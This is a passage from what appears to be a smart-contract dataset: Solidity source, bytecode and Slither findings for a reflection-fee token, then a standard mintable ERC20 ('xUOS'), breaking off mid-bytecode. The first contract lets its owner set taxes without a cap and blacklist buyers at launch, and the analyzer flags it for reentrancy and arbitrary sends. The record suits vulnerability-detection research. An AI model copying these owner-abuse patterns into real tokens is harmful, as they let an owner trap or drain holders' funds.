_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
} | 0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb14610564578063c552849014610584578063dd62ed3e146105a4578063ea1644d5146105ea578063f2fde38b1461060a57600080fd5b80638da5cb5b1461051b5780638f9a55c01461053957806395d89b41146101fe5780639e78fb4f1461054f57600080fd5b8063790ca413116100dc578063790ca413146104ba5780637c519ffb146104d05780637d1db4a5146104e5578063881dce60146104fb57600080fd5b80636fc3eaec1461045057806370a0823114610465578063715018a61461048557806374010ece1461049a57600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d05780634bf2c7c9146103f05780635d098b38146104105780636d8aa8f81461043057600080fd5b80632fd689e31461035e578063313ce5671461037457806333251a0b1461039057806338eea22d146103b057600080fd5b806318160ddd116101c157806318160ddd146102e057806323b872dd1461030657806327c8f8351461032657806328bb665a1461033c57600080fd5b806306fdde03146101fe578063095ea7b31461023f5780630f3a325f1461026f5780631694505e146102a857600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50604080518082018252600981526854494e444552494e5560b81b602082015290516102369190611ec6565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611d71565b61062a565b6040519015158152602001610236565b34801561027b57600080fd5b5061025f61028a366004611cbd565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b457600080fd5b506016546102c8906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102ec57600080fd5b5068056bc75e2d631000005b604051908152602001610236565b34801561031257600080fd5b5061025f610321366004611d30565b610641565b34801561033257600080fd5b506102c861dead81565b34801561034857600080fd5b5061035c610357366004611d9d565b6106aa565b005b34801561036a57600080fd5b506102f8601a5481565b34801561038057600080fd5b5060405160098152602001610236565b34801561039c57600080fd5b5061035c6103ab366004611cbd565b610749565b3480156103bc57600080fd5b5061035c6103cb366004611ea4565b6107b8565b3480156103dc57600080fd5b506017546102c8906001600160a01b031681565b3480156103fc57600080fd5b5061035c61040b366004611e8b565b6107ed565b34801561041c57600080fd5b5061035c61042b366004611cbd565b61081c565b34801561043c57600080fd5b5061035c61044b366004611e69565b610876565b34801561045c57600080fd5b5061035c6108be565b34801561047157600080fd5b506102f8610480366004611cbd565b6108e8565b34801561049157600080fd5b5061035c61090a565b3480156104a657600080fd5b5061035c6104b5366004611e8b565b61097e565b3480156104c657600080fd5b506102f8600a5481565b3480156104dc57600080fd5b5061035c6109ad565b3480156104f157600080fd5b506102f860185481565b34801561050757600080fd5b5061035c610516366004611e8b565b610a07565b34801561052757600080fd5b506000546001600160a01b03166102c8565b34801561054557600080fd5b506102f860195481565b34801561055b57600080fd5b5061035c610a83565b34801561057057600080fd5b5061025f61057f366004611d71565b610c68565b34801561059057600080fd5b5061035c61059f366004611ea4565b610c75565b3480156105b057600080fd5b506102f86105bf366004611cf7565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105f657600080fd5b5061035c610605366004611e8b565b610caa565b34801561061657600080fd5b5061035c610625366004611cbd565b610ce8565b6000610637338484610dd2565b5060015b92915050565b600061064e848484610ef6565b6106a0843361069b856040518060600160405280602881526020016120cb602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611550565b610dd2565b5060019392505050565b6000546001600160a01b031633146106dd5760405162461bcd60e51b81526004016106d490611f1b565b60405180910390fd5b60005b81518110156107455760016009600084848151811061070157610701612089565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061073d81612058565b9150506106e0565b5050565b6000546001600160a01b031633146107735760405162461bcd60e51b81526004016106d490611f1b565b6001600160a01b03811660009081526009602052604090205460ff16156107b5576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146107e25760405162461bcd60e51b81526004016106d490611f1b565b600b91909155600d55565b6000546001600160a01b031633146108175760405162461bcd60e51b81526004016106d490611f1b565b601155565b6015546001600160a01b0316336001600160a01b03161461083c57600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108a05760405162461bcd60e51b81526004016106d490611f1b565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b0316146108de57600080fd5b476107b58161158a565b6001600160a01b03811660009081526002602052604081205461063b906115c4565b6000546001600160a01b031633146109345760405162461bcd60e51b81526004016106d490611f1b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109a85760405162461bcd60e51b81526004016106d490611f1b565b601855565b6000546001600160a01b031633146109d75760405162461bcd60e51b81526004016106d490611f1b565b601754600160a01b900460ff16156109ee57600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a2757600080fd5b610a30306108e8565b8111158015610a3f5750600081115b610a7a5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016106d4565b6107b581611648565b6000546001600160a01b03163314610aad5760405162461bcd60e51b81526004016106d490611f1b565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b0d57600080fd5b505afa158015610b21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b459190611cda565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b8d57600080fd5b505afa158015610ba1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc59190611cda565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c0d57600080fd5b505af1158015610c21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c459190611cda565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610637338484610ef6565b6000546001600160a01b03163314610c9f5760405162461bcd60e51b81526004016106d490611f1b565b600c91909155600e55565b6000546001600160a01b03163314610cd45760405162461bcd60e51b81526004016106d490611f1b565b601954811015610ce357600080fd5b601955565b6000546001600160a01b03163314610d125760405162461bcd60e51b81526004016106d490611f1b565b6001600160a01b038116610d775760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106d4565b6001600160a01b038216610e955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106d4565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f5a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106d4565b6001600160a01b038216610fbc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106d4565b6000811161101e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106d4565b6001600160a01b03821660009081526009602052604090205460ff16156110575760405162461bcd60e51b81526004016106d490611f50565b6001600160a01b03831660009081526009602052604090205460ff16156110905760405162461bcd60e51b81526004016106d490611f50565b3360009081526009602052604090205460ff16156110c05760405162461bcd60e51b81526004016106d490611f50565b6000546001600160a01b038481169116148015906110ec57506000546001600160a01b03838116911614155b156113fa57601754600160a01b900460ff1661114a5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016106d4565b6017546001600160a01b03838116911614801561117557506016546001600160a01b03848116911614155b15611227576001600160a01b038216301480159061119c57506001600160a01b0383163014155b80156111b657506015546001600160a01b03838116911614155b80156111d057506015546001600160a01b03848116911614155b15611227576018548111156112275760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106d4565b6017546001600160a01b0383811691161480159061125357506015546001600160a01b03838116911614155b801561126857506001600160a01b0382163014155b801561127f57506001600160a01b03821661dead14155b156112f45760195481611291846108e8565b61129b9190611fe8565b106112f45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106d4565b60006112ff306108e8565b601a54909150811180801561131e5750601754600160a81b900460ff16155b801561133857506017546001600160a01b03868116911614155b801561134d5750601754600160b01b900460ff165b801561137257506001600160a01b03851660009081526006602052604090205460ff16155b801561139757506001600160a01b03841660009081526006602052604090205460ff16155b156113f757601154600090156113d2576113c760646113c1601154866117d190919063ffffffff16565b90611850565b90506113d281611892565b6113e46113df8285612041565b611648565b4780156113f4576113f44761158a565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061143c57506001600160a01b03831660009081526006602052604090205460ff165b8061146e57506017546001600160a01b0385811691161480159061146e57506017546001600160a01b03848116911614155b1561147b5750600061153e565b6017546001600160a01b0385811691161480156114a657506016546001600160a01b03848116911614155b15611501576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a541415611501576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561152c57506016546001600160a01b03858116911614155b1561153e57600d54600f55600e546010555b61154a8484848461189f565b50505050565b600081848411156115745760405162461bcd60e51b81526004016106d49190611ec6565b5060006115818486612041565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610745573d6000803e3d6000fd5b600060075482111561162b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106d4565b60006116356118d3565b90506116418382611850565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061169057611690612089565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116e457600080fd5b505afa1580156116f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171c9190611cda565b8160018151811061172f5761172f612089565b6001600160a01b0392831660209182029290920101526016546117559130911684610dd2565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061178e908590600090869030904290600401611f77565b600060405180830381600087803b1580156117a857600080fd5b505af11580156117bc573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826117e05750600061063b565b60006117ec8385612022565b9050826117f98583612000565b146116415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106d4565b600061164183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118f6565b6107b53061dead83610ef6565b806118ac576118ac611924565b6118b7848484611969565b8061154a5761154a601254600f55601354601055601454601155565b60008060006118e0611a60565b90925090506118ef8282611850565b9250505090565b600081836119175760405162461bcd60e51b81526004016106d49190611ec6565b5060006115818486612000565b600f541580156119345750601054155b80156119405750601154155b1561194757565b600f805460125560108054601355601180546014556000928390559082905555565b60008060008060008061197b87611aa2565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119ad9087611aff565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119dc9086611b41565b6001600160a01b0389166000908152600260205260409020556119fe81611ba0565b611a088483611bea565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a4d91815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d63100000611a7c8282611850565b821015611a995750506007549268056bc75e2d6310000092509050565b90939092509050565b6000806000806000806000806000611abf8a600f54601054611c0e565b9250925092506000611acf6118d3565b90506000806000611ae28e878787611c5d565b919e509c509a509598509396509194505050505091939550919395565b600061164183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611550565b600080611b4e8385611fe8565b9050838110156116415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106d4565b6000611baa6118d3565b90506000611bb883836117d1565b30600090815260026020526040902054909150611bd59082611b41565b30600090815260026020526040902055505050565b600754611bf79083611aff565b600755600854611c079082611b41565b6008555050565b6000808080611c2260646113c189896117d1565b90506000611c3560646113c18a896117d1565b90506000611c4d82611c478b86611aff565b90611aff565b9992985090965090945050505050565b6000808080611c6c88866117d1565b90506000611c7a88876117d1565b90506000611c8888886117d1565b90506000611c9a82611c478686611aff565b939b939a50919850919650505050505050565b8035611cb8816120b5565b919050565b600060208284031215611ccf57600080fd5b8135611641816120b5565b600060208284031215611cec57600080fd5b8151611641816120b5565b60008060408385031215611d0a57600080fd5b8235611d15816120b5565b91506020830135611d25816120b5565b809150509250929050565b600080600060608486031215611d4557600080fd5b8335611d50816120b5565b92506020840135611d60816120b5565b929592945050506040919091013590565b60008060408385031215611d8457600080fd5b8235611d8f816120b5565b946020939093013593505050565b60006020808385031215611db057600080fd5b823567ffffffffffffffff80821115611dc857600080fd5b818501915085601f830112611ddc57600080fd5b813581811115611dee57611dee61209f565b8060051b604051601f19603f83011681018181108582111715611e1357611e1361209f565b604052828152858101935084860182860187018a1015611e3257600080fd5b600095505b83861015611e5c57611e4881611cad565b855260019590950194938601938601611e37565b5098975050505050505050565b600060208284031215611e7b57600080fd5b8135801515811461164157600080fd5b600060208284031215611e9d57600080fd5b5035919050565b60008060408385031215611eb757600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611ef357858101830151858201604001528201611ed7565b81811115611f05576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fc75784516001600160a01b031683529383019391830191600101611fa2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ffb57611ffb612073565b500190565b60008261201d57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561203c5761203c612073565b500290565b60008282101561205357612053612073565b500390565b600060001982141561206c5761206c612073565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107b557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202ee15c5daeaf62fb80dcd6b707ed38428a7a9afb49c50a5f2902b6f1ff427ce964736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,103 |
0xffddf21c4eac253a7886479c9b720e64cf3c2b9e | pragma solidity ^0.5.0;
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://eips.ethereum.org/EIPS/eip-20
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
contract xUOS is ERC20Detailed, ERC20Mintable {
constructor() public ERC20Detailed("Ultra UOS Futures", "xUOS", 18) {
uint total = 60000000 * (10 ** uint256(18));
addMinter(0x0E7ae3482874640710474AaE058294cAeDEe4D99);
addMinter(0x01b71E1c61529f43AA7432a225306e51cF109100);
mint(0x0E7ae3482874640710474AaE058294cAeDEe4D99, total);
renounceMinter();
}
} | 0x608060405234801561001057600080fd5b5060043610610112576000357c01000000000000000000000000000000000000000000000000000000009004806370a08231116100b4578063a457c2d711610083578063a457c2d7146102f8578063a9059cbb14610324578063aa271e1a14610350578063dd62ed3e1461037657610112565b806370a082311461029a57806395d89b41146102c0578063983b2d56146102c857806398650275146102f057610112565b806323b872dd116100f057806323b872dd146101ee578063313ce56714610224578063395093511461024257806340c10f191461026e57610112565b806306fdde0314610117578063095ea7b31461019457806318160ddd146101d4575b600080fd5b61011f6103a4565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610159578181015183820152602001610141565b50505050905090810190601f1680156101865780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c0600480360360408110156101aa57600080fd5b50600160a060020a03813516906020013561043a565b604080519115158252519081900360200190f35b6101dc610450565b60408051918252519081900360200190f35b6101c06004803603606081101561020457600080fd5b50600160a060020a03813581169160208101359091169060400135610456565b61022c6104ad565b6040805160ff9092168252519081900360200190f35b6101c06004803603604081101561025857600080fd5b50600160a060020a0381351690602001356104b6565b6101c06004803603604081101561028457600080fd5b50600160a060020a0381351690602001356104f2565b6101dc600480360360208110156102b057600080fd5b5035600160a060020a0316610512565b61011f61052d565b6102ee600480360360208110156102de57600080fd5b5035600160a060020a031661058d565b005b6102ee6105ad565b6101c06004803603604081101561030e57600080fd5b50600160a060020a0381351690602001356105b8565b6101c06004803603604081101561033a57600080fd5b50600160a060020a0381351690602001356105f4565b6101c06004803603602081101561036657600080fd5b5035600160a060020a0316610601565b6101dc6004803603604081101561038c57600080fd5b50600160a060020a038135811691602001351661061a565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104305780601f1061040557610100808354040283529160200191610430565b820191906000526020600020905b81548152906001019060200180831161041357829003601f168201915b5050505050905090565b6000610447338484610645565b50600192915050565b60055490565b60006104638484846106d1565b600160a060020a0384166000908152600460209081526040808320338085529252909120546104a391869161049e908663ffffffff6107a016565b610645565b5060019392505050565b60025460ff1690565b336000818152600460209081526040808320600160a060020a0387168452909152812054909161044791859061049e908663ffffffff6107b516565b60006104fd33610601565b151561050857600080fd5b61044783836107ce565b600160a060020a031660009081526003602052604090205490565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156104305780601f1061040557610100808354040283529160200191610430565b61059633610601565b15156105a157600080fd5b6105aa8161087a565b50565b6105b6336108c2565b565b336000818152600460209081526040808320600160a060020a0387168452909152812054909161044791859061049e908663ffffffff6107a016565b60006104473384846106d1565b600061061460068363ffffffff61090a16565b92915050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600160a060020a038216151561065a57600080fd5b600160a060020a03831